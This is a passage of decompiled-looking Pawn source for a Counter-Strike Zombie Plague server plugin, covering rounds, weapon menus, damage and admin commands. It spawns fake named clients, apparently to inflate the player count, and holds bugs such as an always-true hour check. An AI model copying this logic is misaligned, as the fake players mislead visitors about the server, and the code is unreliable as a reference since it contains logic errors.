	ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
	remove_task(600);
	set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
	return 0;
}

public EventHLTV()
{
	g_bRoundStart = true;
	g_fRoundStartTime = get_gametime();
	return 0;
}

public TaskCounter()
{
	g_iCounter -= 1;
	if (0 < g_iCounter < 9)
	{
		static cWord[12];
		num_to_word(g_iCounter, cWord, 12);
		set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
		ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
		client_cmd(0, "spk fvox/%s", cWord);
	}
	return 0;
}

public EventRoundStart()
{
	g_iRoundType = 0;
	g_bRoundEnd = false;
	g_bRoundStart = true;
	g_iCounter = 11;
	remove_task(650);
	set_task(2.0, "TaskWelcome", 650, "", 0, "", 0);
	remove_task(550);
	set_task(12.0, "TaskZombie", 550, "", 0, "", 0);
	remove_task(700);
	set_task(1.0, "TaskCounter", 700, "", 0, "a", 11);
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_jetpack(i))
		{
			set_user_rocket_time(i, 0.0);
		}
		g_iJumpsNum[i] = 0;
		g_iPlantedMines[i] = 0;
		g_iTripMines[i] = 0;
		g_iBlinks[i] = 0;
		g_iPlayerMines[i][1] = 0;
		g_iPlayerMines[i][0] = 0;
		g_bTryder[i] = false;
		g_bUnlimitedClip[i] = false;
		i += 1;
	}
	static cMap[32];
	get_cvar_string("nextmap", cMap, 32);
	if (get_cvar_num("mp_timelimit") == 0)
	{
        set_task(3.0, "TaskInt", 0, "", 0, "", 0);
        set_task(7.0, "TaskChangeLevel", 0, "", 0, "", 0);
	}	
	return 0;
}

public EventRoundEnd()
{
	static Float:fCurrent;
	static Float:fLast;
	fCurrent = get_gametime();
	if (fCurrent - fLast < 0.5)
	{
		return 0;
	}
	fLast = fCurrent;
	g_iRoundsCount += 1;
	g_iRounds[g_iRoundsCount] = g_iRoundType;
	g_iLastMode = g_iRoundType;
	g_bRoundEnd = true;
	g_iRoundType = 0;
	remove_task(600);
	remove_task(700);
	remove_task(900);
	remove_task(550);
	remove_task(650);
	client_cmd(0, "stopsound");
	if (!GetZombies())
	{
		set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
		client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
	}
	else
	{
		if (!GetHumans())
		{
			set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
			client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
		}
		else
		{
			set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
			client_cmd(0, "spk zombie_plague/end_round_win_no_one");
		}
	}
	static iFrags;
	static iPacks;
	static iKills;
	static cPacksLeader;
	static cFragsLeader;
	iPacks = 0;
	iKills = 0;
	cFragsLeader = 0;
	cFragsLeader = 0;
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable])
		{
			iFrags = get_frags(g_iVariable);
			if (g_bConnected[g_iVariable] && get_frags(g_iVariable) > iKills)				
			{
				iKills = iFrags;
				cFragsLeader = g_iVariable;
			}
		}
		g_iVariable += 1;
	}
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iPacks)
		{
			iPacks = g_iPacks[g_iVariable];
			cPacksLeader = g_iVariable;
		}
		g_iVariable += 1;
	}
	PrintToChat(0, "^x04[ZP]^x01 The frags leader is^x03 %s^x01 @^x04 %i frags", g_cName[cFragsLeader], iKills);
	PrintToChat(0, "^x04[ZP]^x01 The packs leader is^x03 %s^x01 @^x04 %i packs", g_cName[cPacksLeader], iPacks);
	static iTeam;
	static j;
	static i;
	i = random_num(1, g_iMaxClients);
	iTeam = 1;
	j = 1;
	while (g_iMaxClients + 1 > j)
	{
		i += 1;
		if (i > g_iMaxClients)
		{
			i = 1;
		}
		if (!g_bConnected[i] || 0 < get_team(i) < 3)
		{
			if (iTeam > 2)
			{
				iTeam = 1;
			}
			set_team_offset(i, iTeam);
			iTeam += 1;
		}
		j += 1;
	}	
	if (g_iVariables[1])
	{
		g_iVariables[2] = 1;
	}
	return 0;
}

public _PlayerSpawn(iPlayer)
{
	if (is_user_alive(iPlayer))
	{
		g_bAlive[iPlayer] = true;
		g_bCanBuy[iPlayer] = 1;
		g_cClass[iPlayer] = "Human";
		g_iBurningDuration[iPlayer] = 0;
		g_iPlayerType[iPlayer] = 0;
		g_bUnlimitedClip[iPlayer] = false;
		g_bNoDamage[iPlayer] = false;
		g_bZombie[iPlayer] = false;
		g_bFlashEnabled[iPlayer] = false;
		g_bFlash[iPlayer] = false;
		set_zombie(iPlayer, false);
		set_monster(iPlayer, false);
		remove_glow(iPlayer);
		g_bFrozen[iPlayer] = false;
		set_take_damage(iPlayer, 2);
		set_frozen(iPlayer, false);
		set_health(iPlayer, 150);
		set_gravity(iPlayer, 1.0);
		set_speed(iPlayer, 240.0);
		remove_task(iPlayer + 250);
		remove_task(iPlayer + 200);
		remove_task(iPlayer + 350);
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (fCurrentTime - g_fLastChangedModel >=0.35)
		{
			ChangeModel(iPlayer + 250);
			g_fLastChangedModel = fCurrentTime;
		}
		else
		{
            set_task(g_fLastChangedModel + 0.35 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
            g_fLastChangedModel = g_fLastChangedModel + 0.35;
		}
		set_task(0.2, "TaskShowMenu", iPlayer, "", 0, "", 0);
		set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
		if (!g_bRoundStart)
		{
			if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64 || g_iRoundType & 32)
			{
				MakeZombie(0, iPlayer, false, false, false);
			}
			if (g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
			{
				if (get_team(iPlayer) != 2)
				{
					set_team(iPlayer, 2);
				}
			}
			if (g_iRoundType & 128 || g_iRoundType & 256)
			{
				MakeHuman(iPlayer, true, false);
			}
			if (g_iRoundType & 512)
			{
				MakeZombie(0, iPlayer, false, false, true);
			}
		}
	}
	return 0;
}

public TaskRespawn(iPlayer)
{
	if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
	{
		if (!g_bAlive[iPlayer])
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
			set_task(1.5, "TaskRespawn", iPlayer, "", 0, "", 0);
		}
		send_hide_weapon(iPlayer, 32);
		send_crosshair(iPlayer);
	}
	return 0;
}

public TaskShowMenu(iPlayer)
{
	if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
	{
		menu_display(iPlayer, g_iPrimaryMenu);
	}
	return 0;
}

public _PrimaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		DropWeapons(iPlayer, 1509749160);
		give_weapon(iPlayer, g_cPrimaryEntities[iChoice]);
		give_ammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
		menu_display(iPlayer, g_iSecondaryMenu, 0);
		g_bCanBuy[iPlayer] = 0;
	}
	return 0;
}

public _SecondaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		DropWeapons(iPlayer, 67308546);
		give_weapon(iPlayer, g_cSecondaryEntities[iChoice]);
		give_ammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_weapon(iPlayer, "weapon_hegrenade");
		}
		if (!user_has_weapon(iPlayer, 25, -1))
		{
			give_weapon(iPlayer, "weapon_flashbang");
		}
		if (!user_has_weapon(iPlayer, 9, -1))
		{
			give_weapon(iPlayer, "weapon_smokegrenade");
		}
	}
	return 0;
}

DropWeapons(iPlayer, iType)
{
	static i;
	static cWeapon[24];
	static iNum;
	static iWeapons[32];
	iNum = 0;
	get_user_weapons(iPlayer, iWeapons, iNum);
	i = 0;
	while (i < iNum)
	{
		if (iType & 1 << iWeapons[i])
		{
			get_weaponname(iWeapons[i], cWeapon, 24);
			engclient_cmd(iPlayer, "drop", cWeapon);
		}
		i += 1;
	}
	return 0;
}

public plugin_init()
{
	register_plugin("Zombie Plague 6.2", "2.0b", "SideWinder");
	new i;
	new cNumber[3];
	new cLine[128];
	RegisterHam(Ham_Spawn, "player", "_PlayerSpawn", 1);
	RegisterHam(Ham_TakeDamage, "player", "_TakeDamage", 0);
	RegisterHam(Ham_TakeDamage, "player", "_TakeDamage_Post", 1);
	RegisterHam(Ham_Touch, "weaponbox", "_Touch", 0);
	RegisterHam(Ham_Touch, "armoury_entity", "_Touch", 0);
	RegisterHam(Ham_Touch, "weapon_shield", "_Touch", 0)
	RegisterHam(Ham_Item_PreFrame, "player", "_ResetMaxSpeed", 1);
	RegisterHam(Ham_Killed, "player", "_PlayerKilled", 0);
	RegisterHam(Ham_TraceAttack, "player", "_TraceAttack", 0);
	RegisterHam(Ham_Think, "grenade", "_GrenadeThink", 0);
	register_think("Mine", "Mine_Think");
	RegisterHam(Ham_Player_Duck, "player", "_PlayerDuck", 0);
	RegisterHam(Ham_Player_Jump, "player", "_PlayerJump", 0);
	RegisterHam(Ham_Weapon_PrimaryAttack, "weapon_knife", "_PrimaryAttack", 0);
	register_logevent("EventRoundStart", 2, "1=Round_Start");
	register_logevent("EventRoundEnd", 2, "1=Round_End");
	register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
	register_event("CurWeapon", "UpdateWeapon", "be", "1=1", "3=13", "3=15", "3=20", "3=25", "3=30", "3=35", "3=12", "3=10", "3=100", "3=8", "3=7", "3=50");
	register_event("CurWeapon", "Event_CurWeapon_KnifeModel", "be", "1=1", "2=18", "2=29");
	register_event("CurWeapon", "Event_CurWeapon_FillClip", "be", "1=1", "2!4", "2!9", "2!25", "2!29", "3<2");
	register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
	register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
	register_concmd("amx_addfake", "Command_AddFake", -1, "", -1);
	register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
	register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
	register_concmd("amx_psay", "Commmand_PrivateSay", -1, "", -1);
	register_concmd("amx_map", "Command_Map", -1, "", -1);
	register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
	register_concmd("amx_who", "Command_Who", -1, "", -1);
	register_concmd("amx_last", "Command_Last", -1, "", -1);
	register_concmd("amx_unban", "Command_Unban", -1, "", -1);
	register_concmd("amx_addban", "Command_Addban", -1, "", -1);
	register_concmd("amx_banip", "Command_Banip", -1, "", -1);
	register_concmd("amx_kick", "Command_Kick", -1, "", -1);
	register_concmd("amx_slay", "Command_Slay", -1, "", -1);
	register_concmd("amx_slap", "Command_Slap", -1, "", -1);
	register_concmd("amx_gag", "Command_Gag", -1, "", -1);
	register_concmd("amx_ungag", "Command_Ungag", -1, "", -1);
	register_concmd("amx_exec", "Command_Exec", -1, "", -1);
	register_concmd("amx_destroy", "Command_Destroy", -1, "", -1);
	register_concmd("amx_showip", "Command_Showip", -1, "", -1);
	register_concmd("amx_reloadadmins", "Command_Reload", -1, "", -1);
	register_concmd("zp_jetpack", "CmdMode", -1, "", -1);
	register_concmd("zp_giveap", "CmdMode", -1, "", -1);
	register_concmd("zp_human", "CmdMode", -1, "", -1);
	register_concmd("zp_zombie", "CmdMode", -1, "", -1);
	register_concmd("zp_nemesis", "CmdMode", -1, "", -1);
	register_concmd("zp_sniper", "CmdMode", -1, "", -1);
	register_concmd("zp_survivor", "CmdMode", -1, "", -1);
	register_concmd("zp_assassin", "CmdMode", -1, "", -1);
	register_concmd("zp_respawn", "CmdMode", -1, "", -1);
	register_concmd("zp_swarm", "CmdMode", -1, "", -1);
	register_concmd("zp_plague", "CmdMode", -1, "", -1);
	register_concmd("zp_multi", "CmdMode", -1, "", -1);
	register_concmd("zp_avs", "CmdMode", -1, "", -1);
	register_concmd("zp_lnj", "CmdMode", -1, "", -1);
	register_concmd("zp_nightmare", "CmdMode", -1, "", -1);
	register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
	register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
	register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
	register_clcmd("say", "Client_Say", -1, "", -1);
	register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
	register_clcmd("jointeam", "Command_JoinTeam", -1, "", -1);
	register_clcmd("chooseteam", "Command_JoinTeam", -1, "", -1);
	register_clcmd("plant_mine", "Command_Plant", -1, "", -1);
	register_clcmd("take_mine", "Command_Take", -1, "", -1);
	register_clcmd("CreateLaser", "Command_Plant", -1, "", -1);
	register_clcmd("TakeLaser", "Command_Take", -1, "", -1);
	register_clcmd("+setlaser", "Command_Plant", -1, "", -1);
	register_clcmd("+dellaser", "Command_Take", -1, "", -1);
	register_clcmd("nightvision", "Command_Flash", -1, "", -1);
	register_clcmd("drop", "Command_Drop", -1, "", -1);
	register_message(get_user_msgid("Health"), "MessageHealth");
	register_message(get_user_msgid("SayText"), "MessageSayText");
	register_message(get_user_msgid("Money"), "MessageMoney");
	set_msg_block(get_user_msgid("TextMsg"), 2);
	set_msg_block(get_user_msgid("SendAudio"), 2);
	set_msg_block(get_user_msgid("AmmoPickup"), 2);
	set_msg_block(get_user_msgid("WeapPickup"), 2);
	g_iMaxClients = get_maxplayers();
	g_iTopMessageSync = CreateHudSyncObj(0);
	g_iLeftMessageSync = CreateHudSyncObj(0);
	g_iDownMessageSync = CreateHudSyncObj(0);
	g_iCenterMessageSync = CreateHudSyncObj(0);
	g_iFirstMineMessage = CreateHudSyncObj(0);
	g_iSecondMineMessage = CreateHudSyncObj(0);
	g_iEventsHudmessage = CreateHudSyncObj(0);
	g_iCounterMessage = CreateHudSyncObj(0);
	g_iRemainingSync = CreateHudSyncObj(0);
	g_iGameMenu = menu_create("Game Menu", "_GameMenu");
	g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu");
	g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu");
	g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses");
	menu_additem(g_iGameMenu, "Buy Weapons", "0", 0, -1);
	menu_additem(g_iGameMenu, "Buy extra items", "1", 0, -1);
	menu_additem(g_iGameMenu, "Choose zombie class", "2", 0, -1);
	menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
	menu_additem(g_iGameMenu, "Join spectator", "4", 0, -1);
	i = 0;
	while (i < 7)
	{
		formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
		num_to_str(i, cNumber, 3);
		menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
		i++;
	}
	i = 0;
	while (i < 6)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
		g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
		i++;
	}
	i = 0;
	while (i < 14)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
		g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
		i++;
	}
	g_aNameData = ArrayCreate(32, 1);
	g_aAmmoData = ArrayCreate(1, 1);
	set_task(0.5, "TaskGetAdmins", 0, "", 0, "", 0);
	set_task(6.2, "TaskGetMaps", 0, "", 0, "", 0);
	set_task(3.5, "TaskGetHudMsg", 0, "", 0, "", 0);
	set_task(33.5, "Task_SendMessages", 0, "", 0, "b", 0);	
	set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
	g_bAdmin[0] = true;
	set_task(2.0, "TaskCalculateArguments", 0, "", 0, "b", 0);
	static cTime;
	static iTime[3];
	get_time("%H", iTime, 2);
	cTime = str_to_num(iTime);
	if (cTime >= 18 || cTime <= 19)
	{
        set_task(0.5, "Task_CheckBots", 0, "", 0, "a", 3);
	}
	return 0;
}

public plugin_end()
{
	static current_map[32];
	get_mapname(current_map, 31);
	set_localinfo("lastMap", current_map);
	return 0;
}

public TaskGetHudMsg()
{
	static cLine[161];
	static iFile;
	iFile = fopen("addons/amxmodx/configs/messages.ini", "r");
	while(!feof(iFile))
	{
		fgets(iFile, cLine, 160);
		trim(cLine);
		if (strlen(cLine) > 4)
		{
			parse(cLine, g_cHudCollors[g_iHudAdvertisementsCount], 14, g_cHudAdvertisements[g_iHudAdvertisementsCount], 119);
			replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 119, "\n", "^n");
			g_iHudAdvertisementsCount++;
		}
	}
	fclose(iFile);
}

public Task_SendMessages()
{
	if (g_iHudMessage >= g_iHudAdvertisementsCount)
	{
		g_iHudMessage = 0;
	}
	set_hudmessage(str_to_num(g_cHudCollors[g_iHudMessage]), str_to_num(g_cHudCollors[g_iHudMessage][3]), str_to_num(g_cHudCollors[g_iHudMessage][7]), -1.0, 0.20, 2, 0.20, 12.0, 0.10, 0.01, -1);
	show_hudmessage(0, "%s", g_cHudAdvertisements[g_iHudMessage]);
	client_print(0, print_console, "%s", g_cHudAdvertisements[g_iHudMessage]);
	g_iHudMessage++;
}

public TaskGetMaps()
{
	static cTime;
	static iTime[3];
	static cRight[32];
	static cLeft[32];
	static bool:bNight;
	static bool:bStop;
	static cMaps[128][32];
	static iRandom;
	static iPreparedMaps;
	static cLastMap[32];
	static cMap[32];
	static iMaps;
	static cLine[64];
	static iFile;
	iPreparedMaps = 0;
	iMaps = 0;
	get_time("%H", iTime, 2);
	cTime = str_to_num(iTime);
	get_mapname(cMap, 31);
	get_localinfo("lastMap", cLastMap, 31);
	iFile = fopen("addons/amxmodx/configs/maps.ini", "r");
	if (cTime >= 22 || cTime <= 13)
	{
		bNight = true;
	}
	while (!feof(iFile))
	{
		fgets(iFile, cLine, 63);
		strtok(cLine, cLeft, 31, cRight, 31, 32, 0);
		trim(cLeft);
		trim(cRight);
		if (!bNight)
		{
			if (is_map_valid(cLeft) && !equal(cLeft, cMap) && !equal(cLeft, cLastMap) && !equali(cRight, "*"))
			{
				copy(cMaps[iMaps], 31, cLeft);
			}
			iMaps += 1;
		}
		else
		{
			if (is_map_valid(cLeft) && !equal(cLeft, cMap) && !equal(cLeft, cLastMap) && !equali(cRight, ";"))
			{
				copy(cMaps[iMaps], 31, cLeft);
			}
			iMaps += 1;
		}			
			
	}
	fclose(iFile);
	while (iPreparedMaps != 4)
	{
		iRandom = random_num(0, iMaps + -1);
		bStop = false;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			if (equal(cMaps[iRandom], g_cMaps[g_iVariable]))
			{
				bStop = true;
			}
			g_iVariable += 1;
		}
		if (!bStop)
		{
			if (is_map_valid(cMaps[iRandom]))
			{
				formatex(g_cMaps[iPreparedMaps], 32, cMaps[iRandom]);
				iPreparedMaps += 1;
			}
		}
	}
	set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);	
	return 0;
}

public TaskGetAdmins()
{
	static cLine[161];
	static iFile;	
	iFile = fopen("addons/amxmodx/configs/users/UserAcount.ini", "r");
	if (iFile)
	{
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 255);
			trim(cLine);
			if (cLine[0] != 59 && strlen(cLine) > 5)
			{
			    parse(cLine, g_cSteams[g_iAdminsCount], 24, g_cNames[g_iAdminsCount], 31, g_cPasswords[g_iAdminsCount], 31, g_cFlags[g_iAdminsCount], 31, g_cTags[g_iAdminsCount], 24);
			    g_iAdminsCount++;
			}		
		}
		fclose (iFile);
	}
	return 0;
}

public Task_CheckBots()
{
	if (get_playersnum(1) < g_iMaxClients && g_iBotsCount < 3)
	{
		static i;
		static bool:bDone;
		static cName[32];
		static iRandom;
		iRandom = random_num(0, 3);
		bDone = true;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (is_user_connected(i))
			{
				get_user_name(i, cName, 32);
				if (equali(cName, g_cBotNames[iRandom]))
				{
					bDone = false;
				}
			}
			i += 1;
		}
		if (bDone)
		{
			static iBot;
			iBot = fake(g_cBotNames[iRandom]);
			if (0 < iBot)
			{
				g_bFake[iBot] = true;
				g_iBotsCount += 1;
			}
		}
		remove_task(750);
		set_task(60.0, "Task_CheckBots", 750, "", 0, "b", 0);
	}
	return 0;
}

public _Touch(iWeapon, iPlayer)
{
	if (!is_user_valid_connected(iPlayer)) 
	{
		return 1;
	}
	if (g_bZombie [iPlayer] || (g_iPlayerType[iPlayer] & 8 || g_iPlayerType[iPlayer] & 4 )|| (g_iPlayerType[iPlayer] & 1 || g_iPlayerType[iPlayer] & 2))
	{
		return 4;
	}
	return 1;
}

public _TakeDamage(iVictim, iInflictor, iAttacker, Float:fDamage, iDamageType)
{
	if (iAttacker == iVictim || !g_bConnected[iAttacker])
	{
		return 1;
	}
	if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker] || g_bNoDamage[iVictim])
	{
		return 4;
	}
	if (!g_bZombie[iAttacker])
	{
		if (g_iPlayerType[iAttacker] & 8 && g_iWeapon[iAttacker] == 18)
		{
			SetHamParamFloat(4, 4600.0);
		}
		else
		{
			if (!g_iPlayerType[iVictim])
			{
				SetHamParamFloat(4, floatmul(0.75, fDamage));
			}
			g_fDamage[iAttacker] += floatround(fDamage);
			while (g_fDamage[iAttacker] > 500.0)
			{
                g_iPacks[iAttacker]++;
                g_fDamage[iAttacker] -= 500.0;
			}
			if (++g_iPosition[iAttacker] == 8)
			{
				g_iPosition[iAttacker] = 0;
			}
			set_hudmessage(0, 40, 80, g_fDamageCoords[g_iPosition[iAttacker]][0], g_fDamageCoords[g_iPosition[iAttacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
			show_hudmessage(iAttacker, "%0.0f", fDamage);
		}
		return 1;
	}
	if (iDamageType & FL_ONTRAIN)
	{
		return 4;
	}
	if (g_iPlayerType[iAttacker] & 1 || g_iPlayerType[iAttacker] & 2 || g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1)
	{
		if (g_iPlayerType[iAttacker])
		{
			SetHamParamFloat(4, 250.0);
		}
		return 1;
	}
	static iDamage;
	static iArmor;
	iArmor = get_armor(iVictim);
	iDamage = floatround(fDamage, floatround_round);
	if (0 < iArmor)
	{
		if (0 < iArmor - iDamage)
		{
			set_armor(iVictim, iArmor - iDamage);
		}
		else
		{
			reset_armor(iVictim);
		}
		sound(iVictim, 4, "zombie_plague/armor_hit.wav");
		return 4;
	}
	MakeZombie(iAttacker, iVictim, false, false, false);
	return 4;
}

public _TakeDamage_Post(iVictim)
{
	if (g_iPlayerType[iVictim] & 2)
	{
		set_painshock(iVictim);
	}
	return 0;
}

public _TraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTrace, iDamageType)
{
	if (iAttacker == iVictim || !g_bConnected[iAttacker])
	{
		return 1;
	}
	if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker])
	{
		return 4;
	}
	if (!g_bZombie[iVictim] || g_bNoDamage[iVictim] || g_iPlayerType[iVictim] & 2 || iDamageType & DMG_BULLET || range(iVictim, iAttacker) > 500)
	{
		return 1;
	}
	static Float:fVelocity[3];
	get_velocity(iVictim, fVelocity);
	xs_vec_mul_scalar(fDirection, fDamage, fDirection);
	xs_vec_mul_scalar(fDirection, kb_weapon_power[g_iWeapon[iAttacker]], fDirection);
	if (get_ent_flags(iVictim) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND))
	{
		xs_vec_mul_scalar(fDirection, 0.25, fDirection);
	}
	if (g_iPlayerType[iVictim] & 1)
	{
		xs_vec_mul_scalar(fDirection, 0.15, fDirection);
	}
	else
	{
		xs_vec_mul_scalar(fDirection, g_fZombieKnockbacks[g_iZombieClass[iVictim]], fDirection);
	}
	xs_vec_add(fVelocity, fDirection, fDirection);
	fDirection[2] = fVelocity[2];
	set_velocity(iVictim, fDirection);
	return 1;
}

public _PlayerJump(iPlayer)
{
    if (g_iJumpsNum[iPlayer])
    {
        new nbut = get_button(iPlayer)
        new obut = get_oldbuttons(iPlayer)
        if ((nbut & IN_JUMP) && !(get_ent_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iJumpsNum[iPlayer] - 1)
        {
            static Float:fVelocity[3];
            get_velocity(iPlayer, fVelocity)
            fVelocity[2] = random_float(265.0, 285.0);
            set_velocity(iPlayer, fVelocity)
            g_iJumps[iPlayer]++;
        }
        if((nbut & IN_JUMP) && (get_ent_flags(iPlayer) & FL_ONGROUND))
        {
            g_iJumps[iPlayer] = 0;
        }
    }
    return 0;
}

public _PrimaryAttack(iEntity)
{
	static iOwner;
	iOwner = pev(iEntity, pev_owner);
	if (g_bZombie[iOwner] && g_iBlinks[iOwner])
	{
		if (get_target_and_attack(iOwner))
		{
			PrintToChat(0, "^x04[ZP]^x03 %s^x01 just used a knife blink! (Blinks remaining:^x04 %i blinks^x01)", g_cName[iOwner], g_iBlinks[iOwner]);
			g_iBlinks[iOwner]--;
		}
	}
	return 0;
}

public _PlayerKilled(iVictim, iAttacker, iGibs)
{
	g_bAlive[iVictim] = false;
	g_bTryder[iVictim] = false;
	g_bUnlimitedClip[iVictim] = false;
	g_bFrozen[iVictim] = false;
	set_frozen(iVictim, false);
	if (!g_bFlash[iVictim])
	{
		Task_EnableFlash(iVictim);
	}
	if (iAttacker == iVictim || !g_bConnected[iAttacker])
	{
		if (g_bZombie[iVictim])
		{
			remove_task(iVictim + 200);
		}
		return 0;
	}
	if (g_iPlayerType[iAttacker] || g_iPlayerType[iVictim])
	{
		SetHamParamInteger(3, 2);
	}
	else
	{
		g_iPacks[iAttacker]++;
	}
	if (!g_bZombie[iAttacker])
	{
		remove_task(iVictim + 200);
		if (g_iRoundType & 4 || g_iRoundType & 8)
		{
			static iZombies;
			iZombies = GetZombies();
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
			if (iZombies != 1)
			{
			    ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
			}
		}
		if (g_iPlayerType[iAttacker] & 8)
		{
			send_lava_splash(iVictim);
		}
	}
	else
	{
		if (g_iRoundType & 1 || g_iRoundType & 2)
		{
			static iHumans;
			iHumans = GetHumans();
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
			if (iHumans != 1)
			{
			    ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans);
			}
		}
		if (g_iZombieClass[iAttacker] == 6 && !g_iPlayerType[iAttacker])
		{
			SetHamParamInteger(3, 2);
			send_screen_fade(iAttacker, 255, 10, 10, 94);
		}
	}
	return 0;
}

public UpdateWeapon(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	return 0;
}

public Event_CurWeapon_KnifeModel(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bZombie[iPlayer])
	{
		switch (g_iWeapon[iPlayer])
		{
			case 29:
			{
				if (!g_iPlayerType[iPlayer])
				{
					set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
				}
				else
				{
					if (g_iPlayerType[iPlayer] & 1)
					{
						set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/nemesis_claws.mdl");
					}
					if (g_iPlayerType[iPlayer] & 2)
					{
						set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/assassin_claws.mdl");
					}
				}				
				set_pev(iPlayer, pev_weaponmodel2, "");
			}
		}
	}
	else
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			set_jetpack(iPlayer);
		}
		if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
		{
			set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/v_awp_winter.mdl");
		}
	}
	return 0;
}

public Event_CurWeapon_FillClip(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bUnlimitedClip[iPlayer] || g_iPlayerType[iPlayer] & 4)
	{
		if(!(Thrownable_Weapons & (1 << g_iWeapon[iPlayer])))
		{
			set_weapon_ammo(get_pdata_cbase(iPlayer, 373, 5), g_iMaxClip[g_iWeapon[iPlayer]]);
		}
	}
	return 0;
}

public Command_Unban(iPlayer)
{
